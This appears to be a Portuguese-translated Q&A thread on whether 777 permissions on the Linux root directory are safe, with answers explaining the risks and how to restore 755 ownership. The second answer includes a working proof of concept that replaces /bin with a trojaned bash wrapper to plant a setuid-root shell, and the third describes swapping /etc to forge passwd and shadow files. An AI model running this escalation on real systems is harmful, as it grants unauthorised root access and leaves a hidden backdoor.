
A maior parte do conteúdo é 755.
Isso é um problema?
Responder1
É interessante que ele /
realmente permita 777
que permissões sejam definidas nele. A /
pasta não deve ter 777
permissões, pois isso significa que qualquer usuário logado no sistema pode criar arquivos e pastas no /
nível raiz. Eu testei isso em uma VM e vocêNÃO PODEexclua qualquer uma das pastas ou arquivos que não estejam 777
sem ser sudo
, root
ou o owner
. As permissões de acesso ainda são seguidas, como se tentar acessar a /root
pasta em si lhe daria permissão negada. No entanto, dito isso, você ainda pode mover a /root
pasta para /root.old
criar poucos estragos.
Para corrigir isso, você pode executar sudo chmod 755 /
para alterar as permissões para o que deveriam ser. Você também pode executar sudo chown root:root /
apenas para ter certeza de que ele pertence ao próprio root. NÃO execute nenhum desses comandos com -R, pois isso alterará todos os arquivos e pastas na partição para corresponder às permissões e propriedade.
Espero que isto ajude!
Responder2
/
não deveria ser gravável mundialmente
/
ser gravável em todo o mundo pode ser umenormeproblema. Com permissões de gravação ativadas /
, qualquer usuário pode mover/renomear qualquer arquivo ou diretório em /
. Isso significa que qualquer usuário pode substituir /etc
, /usr
ou qualquer outro diretório por /
diretórios de sua escolha.
Negação de serviço: trivial
Qualquer usuário pode fazer um DoS trivial em seu sistema, renomeando /etc
e /usr
.
Escalação de privilégios: um pouco menos trivial
É um pouco mais difícil realizar o escalonamento de privilégios. Um usuário pode substituir /bin
por sua própria cópia e qualquer processo que tente usar cp
, ou mesmoiniciar um shell, estarão imediatamente à sua mercê. Tudo o que o usuário precisa fazer é esperar que um processo em execução como root use qualquer comando /bin
, ou que o usuário root use o login, e eles estão dentro.
Exemplo
bash.c
:
#include<sys/types.h>
#include<unistd.h>
int main(int argc, char*argv[], char *env[])
{
if (getuid() == 0) {
system("/home/muru/foo");
}
execve("/bin/bash", argv, env);
}
foo
:
#!/bin/sh
mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash
E então:
$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin
E da próxima vez que o root iniciar um shell, você obterá um executável setuid em seu diretório inicial, que poderá usar confortavelmente para obter root sempre que desejar, sem deixar muitos rastros.
Responder3
Não. Não é seguro para /
(o diretório raiz) ter 777
permissões. Isso significa rwxrwxrwx
que cada usuário tem permissão de gravação no diretório raiz.
Com essa permissão, cada usuário poderá criar novos subdiretórios, excluir subdiretórios existentes e substituir subdiretórios existentes. Por exemplo, um usuário mal-intencionado pode excluir /bin
(renomeando-o para /bin.old
) e criar um novo /bin
de sua propriedade, contendo executáveis maliciosos. Ou o usuário pode excluir /etc
(renomeando-o para /etc.old
) e criar um novo /etc
contendo um arquivo novo /etc/passwd
e /etc/shadow
que permite ao usuário fazer login em todas as contas do sistema.